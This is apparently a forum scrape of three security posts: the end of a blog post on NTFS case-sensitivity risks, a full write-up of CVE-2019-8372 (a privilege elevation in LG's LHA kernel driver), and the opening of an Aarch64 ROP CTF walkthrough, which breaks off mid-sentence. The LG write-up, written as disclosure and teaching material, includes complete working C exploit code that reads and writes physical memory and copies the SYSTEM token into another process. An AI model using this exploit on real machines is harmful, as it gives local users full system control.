rights. If the security check is passed and the feature is enabled you can now change the case-sensitivity behavior, and it's even honored by arbitrary Windows applications such as PowerShell or notepad without any changes. Also note that the case-sensitivity flag is inherited by any new directory created under the original. Security Implications of Per-Directory Case-Sensitivity Let's get on to the thing which interests me most, what's the security implications on this feature? You might not immediately see a problem with this behavior. What it does do is subvert the expectations of normal Windows applications when it comes to the behavior of file name lookup with no way of of detecting its use or mitigating against it. At least with the FILE_FLAG_POSIX_SEMANTICS flag you were only introducing unexpected case-sensitivity if you opted in, but this feature means the NTFS driver doesn't pay any attention to the state of OBJ_CASE_INSENSITIVE when making its lookup decisions. That's great from an interop perspective, but less great from a correctness perspective. Some of the use cases I could see this being are problem are as follows: TOCTOU where the file name used to open a file has its case modified between a security check and the final operation resulting in the check opening a different file to the final one. Overriding file lookup in a shared location if the create request's case doesn't match the actual case of the file on disk. This would be mitigated if the flag to disable setting case-sensitivity on empty directories was enabled by default. Directory tee'ing, where you replace lookup of an earlier directory in a path based on the state of the case-sensitive flag. This at least is partially mitigated by the check for conflicting file names in a directory, however I've no idea how robust that is. I found it interesting that this feature also doesn't use RtlIsSandboxToken to check the caller's not in a sandbox. As long as you meet the access check requirements it looks like you can do this from an AppContainer, but its possible I missed something. On the plus side this feature isn't enabled by default, but I could imagine it getting set accidentally through enterprise imaging or some future application decides it must be on, such as Visual Studio. It's a lot better from a security perspective to not turn on case-sensitivity globally. Also despite my initial interest I've yet to actual find a good use for this behavior, but IMO it's only a matter of time Posted by tiraniddo at 15:30 Sursa: https://tyranidslair.blogspot.com/2019/02/ntfs-case-sensitivity-on-windows.html
-
CVE-2019-8372: Local Privilege Elevation in LG Kernel Driver Sun 17 February 2019 TL;DR: CVE for driver-based LPE with an in-depth tutorial on discovery to root and details on two new tools. At the end of this, we'll better understand how to select worthwhile targets for driver vulnerability research, analyze them for vulnerabilities, and learn an exploitation technique for elevating privileges. If this sounds like your cup of tea, then grab it and start sipping. Part 1: Vulnerability Details Part 2: Discovery Walkthrough Part 3: Exploitation Walkthrough Vulnerability Summary The LHA kernel-mode driver (lha.sys/lha32.sys, v1.1.1703.1700) is associated with the LG Device Manager system service. The service loads the driver if it detects that the Product Name in the BIOS has one of the following substrings: T350, 10T370, 15U560, 15UD560, 14Z960, 14ZD960, 15Z960, 15ZD960, or Skylake Platform. This probably indicates that the driver loads with those associated models which happen to have the 6th-gen Intel Core processors (Skylake). This driver is used for Low-level Hardware Access (LHA) and includes IOCTL dispatch functions that can be used to read and write to arbitrary physical memory. When it is loaded, the device created by the driver is accessible to non-administrative users which could allow them to leverage those functions to elevate privileges. As shown in the screen recording below, these functions were leveraged to elevate privileges from a standard account by searching physical memory for the EPROCESS security token of the System process and writing it into the EPROCESS structure for the PowerShell process. The suggested remediation was to replace the IoCreateDevice call in the driver with IoCreateDeviceSecure. This works as a perimeter defence by specifying an SDDL string such that only processes running in the context of SYSTEM will be allowed to create a handle. Considering that Device Manager service executes in that context, this should not interfere with its ability to load and use the driver. Disclosure Timeline 2018-11-11: Discovered vulnerability. 2018-11-14: Developed baseline proof-of-concept for Windows 7 x64. 2018-11-17: Refactored exploit for robustness, readability, and compatibility with Windows 10 x64. 2018-11-18: Disclosed vulnerability to LG PSRT and received confirmation of submission. 2018-11-21: Received acknowledgement that they intend to fix the vulnerability ASAP. 2018-11-26: Received request to validate remediation on a updated version of the driver. 2018-11-27: Driver was validated and proposed remediation was implemented correctly. 2019-02-13: Received confirmation that a patch is being released. The LG PSRT team was responsive and cooperative. It only took them a week to develop an update for review, and that's not always easy to do in similar organizations. I would work with them again should the opportunity arise. Technical Walkthrough The remainder of this post is written as an end-to-end tutorial that goes over how the vulnerability was found, the exploit development process, and some other musings. I wanted to write this in a way to make it somewhat more accessible to folks who are already familiar with reversing on Windows but new to driver vulnerability research. At the bottom, I have a section for related resources and write-ups that I found useful. Feel free to ping me if there's anything that requires further elaboration. Vulnerability Discovery Finding vulnerabilities in an OEM or enterprise master image can be useful from an offensive perspective because of the potential blast radius that comes with a wide deployment. The goals can typically involve finding a combination of remote code execution (RCE), local privilege elevation (LPE), and sensitive data exposure. Check out my previous post for a methodology intro. When it comes to software bugs that lead to LPE, you can look for customizations introduced into the master image such as system services and kernel-mode drivers which run in a privileged context and may not receive as much scrutiny. For more information on the different avenues for LPE, there's an informative talk by Teymur Kheirkhabarov worth checking out. In the big picture, finding LPE should be chained with an RCE vector, and the LPE may not be as necessary if the target user is already an administrator as they are on most consumer PCs. When it came to this vulnerable driver, I started by looking at a list of loaded drivers using tools like DriverView and driverquery to find any unique LG-made or third-party drivers that may not receive as much scrutiny as a result of their scarcity. I found it peculiar that the LHA driver would load from Program Files instead of C:\Windows\system32\drivers. It was in the directory for LG Device Manager, so it was worth analyzing those binaries to see how they interact with the driver. This can give context into how the driver is loaded and how user-mode programs can interact with it. The latter can be especially useful for getting more semantic context into what would otherwise be the disorienting array of disassembly you would see in IDA. On the topic of semantic context, some online searches indicate that the acronym in LHA.sys refers to "Low-level Hardware Access". This type of driver allows system services developed by OEMs to trigger system management interrupts (SMIs) as well as read and write physical memory and model-specfic registers (MSRs)—all of which are privileged actions that can only occur in kernel-mode. Vulnerabilities were also found in similar drivers made by ASUS (@gsuberland and @slipstream), MSI (@ReWolf), and Dell (@hatRiot). Alex Matrosov also describes the "dual-use" nature of these drivers in rootkit development. As what we're about to embark on is not particularly novel, we have a defined path ahead of us in terms of what to expect. At this point we should determine: The constraints under which the driver is loaded (e.g. when and how), Whether low-privileged processes (LPPs) can interact with it, and if so, Whether it exposes any functionality that can be abused toward LPE. The DeviceManager.exe binary appears to be a .NET assembly, so let's take a closer look with dnSpy, a .NET decompiler and debugger. You can follow along by downloading the Device Manager installer. We can see that there's a driverInitialize method that installs and loads the driver. The command line equivalent of doing the same is below. Mind the space after binPath= and type=. λ sc create LHA.sys binpath= "C:\Program Files (x86)\LG Software\LG Device Manager\lha.sys" type= kernel [SC] CreateService SUCCESS λ sc start LHA.sys SERVICE_NAME: LHA.sys TYPE : 1 KERNEL_DRIVER STATE : 4 RUNNING (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 PID : 0 FLAGS : This answers how the driver is loaded, so let's figure out when. You can select the method name in dnSpy and hit Ctrl+Shift+R to analyze call flows. We'll want to analyze calls that start from the service's OnStart method and flow toward the driverInitialize method. The OnStart method first determines the model of the unit, and from there calls OnStartForXXXXXX functions that are specific to the current model. A subset of those model-specific functions will then eventually call driverInitialize. The ResumeTimer_Elapsed method which is called from a number of model-specific functions is associated with a Timer object which means it doesn't get executed immediately (e.g. 20s to 120s after depending on the model). Although it looks like this driver is loaded on a subset of models, it's still worth checking for any avenues where user-influenced input can expand the blast radius. Perhaps if we can trick the onStart method into thinking the current model is actually one from the subset (e.g. 15Z960 instead of 15Z980), then we can have the execution flow toward the branches that will eventually call driverInitialize. It turns out that it sources the model number from HKLM\HARDWARE\DESCRIPTION\System\BIOS. As this is in the HKEY_LOCAL_MACHINE registry hive, an LPP would not be able to modify contents. If that was possible, then we could stop here because there would be plenty of easier ways to gain LPE. We now know that the driver loads when the service identifies the unit's model from a whitelist and that it doesn't load immediately after the service starts. Now let's figure out how LPPs can interact with it. Not every driver provides a path toward LPE, and some initial recon will be helpful in determining if it's worth investigating further. In order for low-privileged users to interact with a driver, the following conditions must be satisfied: The driver must be loaded and create a device object. The device object must have a symbolic link associated with it. The DACL of the device object must be configured so that non-admins can R/W. The Driver Initial Reconnaissance Tool, DIRT, helps with identifying those candidates with the --lp-only switch. As we can see below, the LHA driver is loaded and one device object is created. The device is accessible by LPPs because it has an open DACL and a symbolic link (\\.\Global\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}). It also has a registered DispatchDeviceControl function which may indicate that it has defined IOCTL dispatch functions that can be called from user-mode via DeviceIoControl. λ dirt.exe --no-msft --lp-only DIRT v0.1.1: Driver Initial Reconnaisance Tool (@Jackson_T) Repository: https://github.com/jthuraisamy/DIRT Compiled on: Aug 25 2018 19:25:11 INFO: Hiding Microsoft drivers (--no-msft). INFO: Only showing drivers that low-privileged users can interface with (--lp-only). lha.sys: lha.sys (LG Electronics Inc.) Path: C:\Program Files (x86)\LG Software\LG Device Manager\lha.sys DispatchDeviceControl: 0xFFFFF8012E9C32E0 Devices: 1 └── \Device\{E8F2FF20-6AF7-4914-9398-CE2132FE170F} (open DACL, 1 symlinks) └── \\.\Global\{E8F2FF20-6AF7-4914-9398-CE2132FE170F} DeviceIoControl is one way of interacting with the driver, and other ways include ReadFile and WriteFile. In order for a driver to receive DeviceIoControl request from a user-mode program, it has to define a DispatchDeviceControl function and register its entry point in the IRP_MJ_DEVICE_CONTROL index for its MajorFunction dispatch table. We can run WinDbg or WinObjEx64 (as an administrator) to see which functions are registered by selecting the driver and viewing its properties: This is how it works for the Windows Driver Model (WDM). There is also the Kernel Mode Driver Framework (KMDF) which is seen as the more streamlined successor to WDM, and the Windows Display Driver Model (WDDM) for graphics drivers. Check out the resources at the bottom of this page to get familiar with them. Let's dig deeper into the DispatchDeviceControl function with IDA Freeware. In the functions window, you should be able to type the last three digits of the address DIRT identified for that function (2E0) and the resulting list will be considerably shorter. You'll know you're probably in the right function when you see many branches representing a jump table like the one below. From here we can navigate through the branches to identify each IOCTL and what it does. If you have a license for the Hex-Rays decompiler, it makes it much easier (by computing some of the IOCTL codes for you, appropriately naming variables and constants passed into Windows APIs, etc.). It will never be completely accurate, but I prefer to operate at the right level of abstraction (even if it's an approximation) and only go deeper into the weeds of disassembly when it's necessary. Let's take an in-depth look into the dispatch function that can read arbitrary memory (IOCTL 0x9C402FD8). The annotated disassembly is below as well as a pseudocode translation. After we review this function, you should identify and take a look into the function that can write arbitrary memory as an exercise. (This assumes you have some familiarity with reading disassembly, calling conventions, etc.) We can infer the variable names from their usage and the struct for the input buffer in the pseudocode can also be inferred through the dereferences of var_InputBuffer_Copy1 and var_InputBuffer_Copy2. The function first performs validation checks on the lengths provided in DeviceIoControl to ensure that the input buffer length meets a minimum of 12 bytes, and that the output buffer length is equal to or greater then the length specified in the request struct. If those checks pass, then the specified physical memory range is mapped to nonpaged system space using MmMapIoSpace and that range is looped through to copy each byte into the user buffer. When the loop is complete, the physical memory is unmapped using MmUnmapIoSpace and the function epilogue is reached. typedef struct { DWORDLONG address; DWORD length; } REQUEST; NTSTATUS function ReadPhysicalMemory(REQUEST* inBuffer, DWORD inLength, DWORD outLength, PBYTE outBuffer) { NTSTATUS statusCode = 0; if ((inLength >= 12) && (outLength >= *inBuffer.length)) { PVOID mappedMemory = MmMapIoSpace(*inBuffer.address, *inBuffer.length, MmNonCached); for (int i = 0; i < *inBuffer.length; i++) outBuffer[i] = mappedMemory[i]; MmUnmapIoSpace(*inBuffer.address, *inBuffer.length); } else { DbgPrint("LHA: ReadMemBlockQw Failed\n"); statusCode = STATUS_BUFFER_TOO_SMALL; } return statusCode; } To recap, our assumed constraints for the IOCTL dispatch function for reading physical memory are: The input buffer is a struct that contains the physical address to start reading from and the number of bytes to read. The size of the input buffer must be at least 12 bytes (8 byte QWORD for address + 4 byte DWORD for length). The size of the output buffer must be at least the length specified in the input struct. We can dynamically test our assumptions about this dispatch function using a tool called ioctlpus. This makes DeviceIoControl requests with arbitrary inputs and has an interface similar to Burp Repeater. I wrote it primarily for this use case: to validate my assumptions after I've taken the time to statically understand what a particular IOCTL dispatch function requires and returns. Although it's a little clunky, it's a time-saver from the tedious task of making minor code changes then recompiling every time I want to poke around a particular IOCTL function. Let's run it as a non-administrative user, and send a read request to it where we read 0xFFFF bytes at offset 0x10000000: Set the path to what DIRT identified: \\.\Global\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}. Set the IOCTL code to: 9C402FD8. Set the input size to: C (12 bytes in hexadecimal). Set the output size to: FFFF (65535 bytes in hexadecimal). Set the input buffer at offset 0, the address parameter in struct, to 00 00 00 01 00 00 00 00 (little-endian). Set the input buffer at offset 8, the length parameter, to FF FF 00 00 (little-endian). Click on the "Send" button. Success! It may not look like much, but in this discovery process we've confirmed: The conditions under which the driver loads, That it is indeed accessible from LPPs when loaded, and lastly, That it contains some vulnerable functions (e.g. reading and writing arbitrary physical memory) But wait, there's more! Exploit Development With these read and write primitives, we can figure out a strategy to get LPE. With access to kernel memory, we can perform a "token stealing" attack (more like token copying ?). For each process, the kernel defines an EPROCESS structure that serves as the process object. Every structure contains a security token, and the goal is to replace the token of an LPP with one of a process running as SYSTEM. There are a couple caveats to this: First, the typical strategy around token stealing relies on virtual memory addresses which we cannot dereference with our primitives. Instead, we can take a needle-in-haystack approach and find byte buffers in physical memory we know should be associated with that structure. Second, the EPROCESS structure is opaque and can be prone to changing between versions of Windows. This is something to be mindful of when calculating offsets. Petr Beneš' NtDiff tool can be helpful in determining these offset changes between versions. We're going to deep dive into the exploit code in the order it was developed. Before we do that, let's first review the diagram below to get an overview of the execution flow: We first want to create a handle to the device created by the driver so we can interact with it. After that, we want to identify our parent process so that we can elevate it. For example, if we launched PowerShell, then ran the exploit, this would result in all subsequent commands being executed as SYSTEM. Once we've identified the parent process, we'll construct our "needles" for the EPROCESS structures and find them in the physical memory "haystack". After identifying both structures, we'll copy the token from the System EPROCESS structure into the one for PowerShell, and Bob's your uncle. Keep in mind that this is just one strategy, and when you get into the details you'll notice it may not be the most reliable or accurate. ReWolf and hatRiot had different approaches for their exploits that are also worth checking out. Step 1: Interfacing with the LHA Driver Three functions are defined to interface with the driver. get_device_handle is used to create a handle to the device using CreateFile, in the same way you would create a handle to a file so you can read or write to it. With a handle, you can use the DeviceIoControl API to send requests to the driver's DispatchDeviceControl function. phymem_read and phymem_write are wrapper functions using DeviceIoControl to make the appropriate requests to the driver. We're defining the READ_REQUEST and WRITE_REQUEST structs based on what we inferred from IDA and validated with ioctlpus. #define DEVICE_SYMBOLIC_LINK "\\\\.\\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}" #define IOCTL_READ_PHYSICAL_MEMORY 0x9C402FD8 #define IOCTL_WRITE_PHYSICAL_MEMORY 0x9C402FDC typedef struct { DWORDLONG address; DWORD length; } READ_REQUEST; typedef struct { DWORDLONG address; DWORD length; DWORDLONG buffer; } WRITE_REQUEST; HANDLE get_device_handle(char* device_symbolic_link) { HANDLE device_handle = INVALID_HANDLE_VALUE; device_handle = CreateFileA(device_symbolic_link, // Device to open GENERIC_READ | GENERIC_WRITE, // Request R/W access FILE_SHARE_READ | FILE_SHARE_WRITE, // Allow other processes to R/W NULL, // Default security attributes OPEN_EXISTING, // Default disposition 0, // No flags/attributes NULL); // Don't copy attributes return device_handle; } PBYTE phymem_read(HANDLE device_handle, DWORDLONG address, DWORD length) { // Prepare input and output buffers. READ_REQUEST input_buffer = { address, length }; PBYTE output_buffer = (PBYTE)malloc(length); DWORD bytes_returned = 0; DeviceIoControl(device_handle, // Device to be queried IOCTL_READ_PHYSICAL_MEMORY, // Operation to perform &input_buffer, // Input buffer pointer sizeof(input_buffer), // Input buffer size output_buffer, // Output buffer pointer length, // Output buffer size &bytes_returned, // Number of bytes returned (LPOVERLAPPED)NULL); // Synchronous I/O return output_buffer; } DWORD phymem_write(HANDLE device_handle, DWORDLONG address, DWORD length, DWORDLONG buffer) { // Prepare input and output buffers. WRITE_REQUEST input_buffer = { address, length, buffer }; DWORD output_address = NULL; DWORD bytes_returned = 0; DeviceIoControl(device_handle, // Device to be queried IOCTL_WRITE_PHYSICAL_MEMORY, // Operation to perform &input_buffer, // Input buffer pointer sizeof(input_buffer), // Input buffer size (PVOID)&output_address, // Output buffer pointer sizeof(output_address), // Output buffer size &bytes_returned, // Number of bytes returned (LPOVERLAPPED)NULL); // Synchronous I/O return output_address; } Step 2: Finding EPROCESS Structures in Physical Memory Another function, phymem_find is created on top of phymem_read so that it can find buffers in memory. The memmem function is also implemented to support phymem_find, and functions similarly to strstr but with support for buffers with null bytes. phymem_find accepts a range of addresses (start_address and stop_address), the size of the buffer to be read (search_space), and the buffer to find (search_buffer and buffer_len). int memmem(PBYTE haystack, DWORD haystack_size, PBYTE needle, DWORD needle_size) { int haystack_offset = 0; int needle_offset = 0; haystack_size -= needle_size; for (haystack_offset = 0; haystack_offset <= haystack_size; haystack_offset++) { for (needle_offset = 0; needle_offset < needle_size; needle_offset++) if (haystack[haystack_offset + needle_offset] != needle[needle_offset]) break; // Next character in haystack. if (needle_offset == needle_size) return haystack_offset; } return -1; } DWORDLONG phymem_find(HANDLE device_handle, DWORDLONG start_address, DWORDLONG stop_address, DWORD search_space, PBYTE search_buffer, DWORD buffer_len) { DWORDLONG match_address = -1; // Cap the search space to the max available. if ((start_address + search_space) > stop_address) return match_address; PBYTE read_buffer = phymem_read(device_handle, start_address, search_space); int offset = memmem(read_buffer, search_space, search_buffer, buffer_len); free(read_buffer); if (offset >= 0) match_address = start_address + offset; return match_address; } Now that we're able to search physical memory with phymem_find, we'll want to develop a capability for finding EPROCESS structures. Ideally we should have our search buffer (or needle) be a valid, reliable, and parsimonious subset of the structure where once identified we can find our security token at a fixed offset. We can use WinDbg to find potential needle candidates: 0: kd> * Get a listing of processes and their EPROCESS addresses. 0: kd> !dml_proc Address PID Image file name ffffb704`2d0993c0 4 System ffffb704`31d8b040 198 smss.exe ... snip ... 0: kd> * Dump EPROCESS struct for System process. 0: kd> dt nt!_EPROCESS ffffb704`2d0993c0 +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : 0x00000000`00000004 Void +0x2e8 ActiveProcessLinks : _LIST_ENTRY [ 0xffffb704`31d8b328 - 0xfffff803`8c3f3c20 ] +0x2f8 RundownProtect : _EX_RUNDOWN_REF ... snip ... +0x358 Token : _EX_FAST_REF ... snip ... +0x448 ImageFilePointer : (null) +0x450 ImageFileName : [15] "System" +0x45f PriorityClass : 0x2 '' +0x460 SecurityPort : (null) We'll know the name and PID for each process we're targeting, so the UniqueProcessId and ImageFileName fields should be good candidates. Problem is that we won't be able to accurately predict the values for every field between them. Instead, we can define two needles: one that has ImageFileName and another that has UniqueProcessId. We can see that their corresponding byte buffers have predictable outputs. 0: kd> * Show byte buffer for ImageFileName ("System") + PriorityClass (0x00000002): 0: kd> db ffffb704`2d0993c0+450 l0x13 ffffb704`2d099810 53 79 73 74 65 6d 00 00-00 00 00 00 00 00 00 02 System.......... ffffb704`2d099820 00 00 00 ... 0: kd> * Show byte buffer for ProcessLock (0x00000000`00000000) + UniqueProcessId (0x00000000`00000004): 0: kd> db ffffb704`2d0993c0+2d8 l0x10 ffffb704`2d099698 00 00 00 00 00 00 00 00-04 00 00 00 00 00 00 00 ................ Let's define structs for these needles and a phymem_find_eprocess function that will find and return the physical address for a process object when provided with an address range and the two needles. It will look for ImageFileName + PriorityClass first, and if there's a match, confirm by checking ProcessLock + UniqueProcessId at a fixed offset. Including these additional fields will help increase our confidence that we're finding the right data in memory. // EPROCESS offsets (Windows 10 v1703-1903): #define OFFSET_PROCESSLOCK 0x2D8 #define OFFSET_TOKEN 0x358 #define OFFSET_IMAGEFILENAME 0x450 typedef struct { DWORDLONG ProcessLock; DWORDLONG UniqueProcessID; } EPROCESS_NEEDLE_01; typedef struct { CHAR ImageFileName[15]; DWORD PriorityClass; } EPROCESS_NEEDLE_02; DWORDLONG phymem_find_eprocess(HANDLE device_handle, DWORDLONG start_address, DWORDLONG stop_address, EPROCESS_NEEDLE_01 needle_01, EPROCESS_NEEDLE_02 needle_02) { DWORDLONG search_address = start_address; DWORDLONG match_address = NULL; DWORDLONG eprocess_addr = NULL; DWORD search_space = 0x00001000; PBYTE needle_buffer_01 = (PBYTE)malloc(sizeof(EPROCESS_NEEDLE_01)); memcpy(needle_buffer_01, &needle_01, sizeof(EPROCESS_NEEDLE_01)); PBYTE needle_buffer_02 = (PBYTE)malloc(sizeof(EPROCESS_NEEDLE_02)); memcpy(needle_buffer_02, &needle_02, sizeof(EPROCESS_NEEDLE_02)); while (TRUE) { if ((search_address + search_space) >= stop_address) { free(needle_buffer_01); free(needle_buffer_02); return match_address; } if (search_address % 0x100000 == 0) { printf("Searching from address: 0x%016I64X.\r", search_address); fflush(stdout); } match_address = phymem_find(device_handle, search_address, stop_address, search_space, needle_buffer_02, sizeof(EPROCESS_NEEDLE_02)); if (match_address > search_address) { eprocess_addr = match_address - OFFSET_IMAGEFILENAME; PBYTE buf = phymem_read(device_handle, eprocess_addr + OFFSET_PROCESSLOCK, sizeof(EPROCESS_NEEDLE_01)); if (memcmp(needle_buffer_01, buf, sizeof(EPROCESS_NEEDLE_01)) == 0) return eprocess_addr; else free(buf); } search_address += search_space; } free(needle_buffer_01); free(needle_buffer_02); return 0; } Some potential issues we can foresee with this approach: Reliability: Will PriorityClass and ProcessLock always have the values we're expecting? Validity: Could it return a match that's actually not an EPROCESS structure? Efficiency: How can we determine an optimal start address that return a result in the least amount of time? I looked into these only empirically and found that this worked most of the time. When it came to the address range, I also encountered the same issue that ReWolf had where a part of the scan would slow down significantly because it was accessing addresses that are reserved for hardware I/O. Blacklisting those sub-ranges could be possible using NtQuerySystemInformation but that requires elevation which is not useful right now. The machines I tested on had at least 8 GB of memory, so starting at offset 0x100000000 seemed to be a sweet spot. Step 3: Finding the Parent Process We know that the name and PID of our System process will be constant, but we can't say the same of the parent process of the exploit. So let's figure out what those values are is so we can populate the needle structs. Two functions can be defined for this: one finds the PID of the current process (get_parent_pid), and another gets the name of a given process (get_process_name). Both use the CreateToolhelp32Snapshot and Process32First/Next APIs to traverse through the list of processes. DWORD get_parent_pid(DWORD pid) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32 = { 0 }; pe32.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnapshot, &pe32); do { if (pe32.th32ProcessID == pid) return pe32.th32ParentProcessID; } while (Process32Next(hSnapshot, &pe32)); return 0; } void get_process_name(DWORD pid, PVOID buffer_ptr) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32 = { 0 }; pe32.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnapshot, &pe32); do { if (pe32.th32ProcessID == pid) { memcpy(buffer_ptr, &pe32.szExeFile, strlen(pe32.szExeFile)); return; } } while (Process32Next(hSnapshot, &pe32)); } Step 4: Stealing the System Token Now that we have a way getting the addresses of our EPROCESS structures for our System and parent processes, let's read the security token from the System process and copy it into our parent process using our read and write primitives. void duplicate_token(HANDLE device_handle, DWORDLONG source_eprocess, DWORDLONG target_eprocess) { DWORDLONG source_token = NULL; DWORDLONG target_token = NULL; // Read security token of System into source_token. memcpy(&source_token, phymem_read(device_handle, source_eprocess + OFFSET_TOKEN, sizeof(DWORDLONG)), sizeof(DWORDLONG)); printf("Source token (0x%016I64X): 0x%016I64X.\n", source_eprocess + OFFSET_TOKEN, source_token); // Read security token of parent process into target_token. memcpy(&target_token, phymem_read(device_handle, target_eprocess + OFFSET_TOKEN, sizeof(DWORDLONG)), sizeof(DWORDLONG)); printf("Target token (0x%016I64X): 0x%016I64X.\n\n", target_eprocess + OFFSET_TOKEN, target_token); // Copy source token into target token. target_token = source_token; printf("Target token (0x%016I64X): 0x%016I64X => pre-commit.\n", target_eprocess + OFFSET_TOKEN, target_token); phymem_write(device_handle, target_eprocess + OFFSET_TOKEN, sizeof(DWORDLONG), target_token); // Read target token again to verify. memcpy(&target_token, phymem_read(device_handle, target_eprocess + OFFSET_TOKEN, sizeof(DWORDLONG)), sizeof(DWORDLONG)); printf("Target token (0x%016I64X): 0x%016I64X => post-commit.\n", target_eprocess + OFFSET_TOKEN, target_token); } Step 5: Putting it All Together The main function ties the previous steps together so that we can gain LPE. To recap, we created wrapper functions for DeviceIoControl so that we can interface with the driver and read/write arbitrary memory. Then we extended the read function to search the memory haystack for needles, and extended that to search for EPROCESS structures using needle structs we defined. After developing the capability to find our parent process, we can identify the EPROCESS structures and pass them to a function that will perform the token stealing operation. int main() { printf("LG Device Manager LHA Driver LPE POC (@Jackson_T)\n"); printf("Compiled on: %s %s\n", __DATE__, __TIME__); printf("Tested on: Windows 10 x64 v1709\n\n"); // Get a handle to the LHA driver's device. HANDLE device_handle = get_device_handle(DEVICE_SYMBOLIC_LINK); DWORDLONG root_pid = 4; DWORDLONG user_pid = get_parent_pid(GetCurrentProcessId()); DWORDLONG root_eprocess = NULL; DWORDLONG user_eprocess = NULL; DWORDLONG start_address = 0x100000000; DWORDLONG stop_address = _UI64_MAX; // Define our needles. EPROCESS_NEEDLE_01 needle_root_process_01 = { 0, root_pid }; EPROCESS_NEEDLE_02 needle_root_process_02 = { "System", 2 }; EPROCESS_NEEDLE_01 needle_user_process_01 = { 0, user_pid }; EPROCESS_NEEDLE_02 needle_user_process_02 = { 0 }; get_process_name(user_pid, &needle_user_process_02.ImageFileName); needle_user_process_02.PriorityClass = 2; // Search for the EPROCESS structures. printf("Finding EPROCESS Tokens in System (PID=%d) and %s (PID=%d)...\n\n", (DWORD)root_pid, needle_user_process_02.ImageFileName, (DWORD)user_pid); printf("Search range start: 0x%016I64X.\n", start_address, stop_address); root_eprocess = phymem_find_eprocess(device_handle, start_address, stop_address, needle_root_process_01, needle_root_process_02); printf("EPROCESS for %08Id: 0x%016I64X.\n", root_pid, root_eprocess); user_eprocess = phymem_find_eprocess(device_handle, start_address, stop_address, needle_user_process_01, needle_user_process_02); printf("EPROCESS for %08Id: 0x%016I64X.\n\n", user_pid, user_eprocess); // Perform token stealing. duplicate_token(device_handle, root_eprocess, user_eprocess); CloseHandle(device_handle); if (strcmp(needle_user_process_02.ImageFileName, "explorer.exe") == 0) { printf("\nPress [Enter] to exit..."); while (getchar() != '\n'); } return 0; } If all compiles as expected, you should see the exploit work like this: Thank you for taking the time to read this! Please ping me if you have any feedback, questions, or notice any errata. Greetz fly out to ReWolf, hatRiot, gsuberland, slipstream/RoL, matrosov, and the LGE PSRT. References and Resources Books A Guide to Kernel Exploitation (Perla and Oldani, 2010) Practical Reverse Engineering (Dang, Gazet, Bachaalany, 2014): Chapter 3 Methodology Talks WDM: Windows Driver Attack Surface (van Sprundel, 2015) KMDF: Reverse Engineering and Bug Hunting on KMDF Drivers (Nissim, 2018) WDDM: Windows Kernel Graphics Driver Attack Surface (van Sprundel, 2014) Windows LPE Techniques Hunting for Privilege Escalation in Windows Environment (Kheirkhabarov, 2018) Windows Privilege Escalation Guide (McFarland, 2018) Abusing Token Privileges For LPE (Alexander and Breen, 2017) whoami /priv: Abusing Token Privileges (Pierini, 2018) @Jackson_T Sursa: http://www.jackson-t.ca/lg-driver-lpe.html
-
ROP-ing on Aarch64 - The CTF Style
Nytro posted a topic in Reverse engineering & exploit development
ROP-ing on Aarch64 - The CTF Style 18 Feb 2019 This is walkthrough of how we managed to ROP on Aarch64, coming from a completely x86/64 background. We were the kind of people who would just not touch anything that is not x86/64. The nyanc challenge from the Insomni’hack teaser 2019 was the final push we needed to start learning about arm exploitation, with its lucrative heap-note interface. Overall, me (Jazzy) and VoidMercy spent about 24 hrs on this challenge and still didn’t manage to solve it in time, but the whole experience was worth it. As neither of us had any experience in exploiting Aarch64 and we couldn’t find a lot of documentation on how it is done, the methods and techniques we used are probably not be the best ones, but we learned a lot along the way. Aarch64 basics Before we dive into the challenge, let’s just skim over the basics quickly. I’ll try to explain everything to the best of my ability and knowledge. Registers Aarch64 has 31 general purpose registers, x0 to x30. Since it’s a 64 bit architechture, all the registers are 64 bit. But we can access the lower 32 bits of thes registers by using them with the w prefix, such as w0 and w1. There is also a 32nd register, known as xzr or the zero register. It has multiple uses which I won’t go into but in certain contexts, it is used as the stack pointer (esp equivalent) and is thereforce aliased as sp. Instructions Here are some basic instructions: mov - Just like it’s x86 counterpart, copies one register into another. It can also be used to load immediate values. mov x0, x1; copies x1 into x0 mov x1, 0x4141; loads the value 0x4141 in x1 str/ldr - store and load register. Basically stores and loads a register from the given pointer. str x0, [x29]; store x0 at the address in x29 ldr x0, [x29]; load the value from the address in x29 into x0 stp/ldp - store and load a pair of registers. Same as str/ldr but instead with a pair of registers stp x29, x30, [sp]; store x29 at sp and x30 at sp+8 bl/blr - Branch link (to register). The x86 equivalent is call. Basically jumps to a subroutine and stores the return address in x30. blr x0; calls the subroutine at the address stored in x0 b/br - Branch (to register). The x86 equivalent is jmp. Basically jumps to the specified address br x0; jump to the address stored in x0 ret - Unlike it’s x86 equivalent which pops the return address from stack, it looks for the return address in the x30 register and jumps there. Indexing modes Unlike x86, load/store instructions in Aarch64 has three different indexing “modes” to index offsets: Immediate offset : [base, #offset] - Index an offset directly and don’t mess with anything else ldr x0, [sp, 0x10]; load x0 from sp+0x10 Pre-indexed : [base, #offset]! - Almost the same as above, except that base+offset is written back into base. ldr x0, [sp, 0x10]!; load x0 from sp+0x10 and then increase sp by 0x10 Post-indexed : [base], #offset - Use the base directly and then write base+offset back into the base ldr x0, [sp], 0x10; load x0 from sp and then increase sp by 0x10 Stack and calling conventions The registers x0 to x7 are used to pass parameters to subroutines and extra parameters are passed on the stack. The return address is stored in x30, but during nested subroutine calls, it gets preserved on the stack. It is also known as the link register. The x29 register is also known as the frame pointer and it’s x86 equivalent is ebp. All the local variables on the stack are accessed relative to x29 and it holds a pointer to the previous stack frame, just like in x86. One interesting thing I noticed is that even though ebp is always at the bottom of the current stack frame with the return address right underneath it, the x29 is stored at an optimal position relative to the local variables. In my minimal testcases, it was always stored on the top of the stack (along with the preserved x30) and the local variables underneath it (basically a flipped oritentation compared to x86). The challenge We are provided with the challenge files and the following description: Challenge runs on ubuntu 18.04 aarch64, chrooted It comes with the challenge binary, 